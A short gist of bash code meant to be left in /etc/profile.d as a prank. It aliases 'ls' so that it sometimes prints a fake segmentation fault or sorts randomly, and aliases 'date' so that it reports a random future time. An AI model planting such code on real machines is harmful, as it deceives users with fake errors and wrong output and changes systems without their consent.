thing to leave behind in /etc/profile.d

gistfile1.txt

_ls() {
  if [[ $[$RANDOM % 4] == 0 ]]; then
    sleep 1
    echo "Segmentation fault"
    return 139
  else
    # run ls with randon sorting option
    command ls -$(opts="frStu"; echo ${opts:$((RANDOM % ${#opts})):1}) "$@";
  fi
}

_date() {
  if [ "$#" -eq 0 ]; then
    date -d "now + $RANDOM hours"
  else
    date "$@"
  fi
}

alias ls='_ls'
alias date='_date'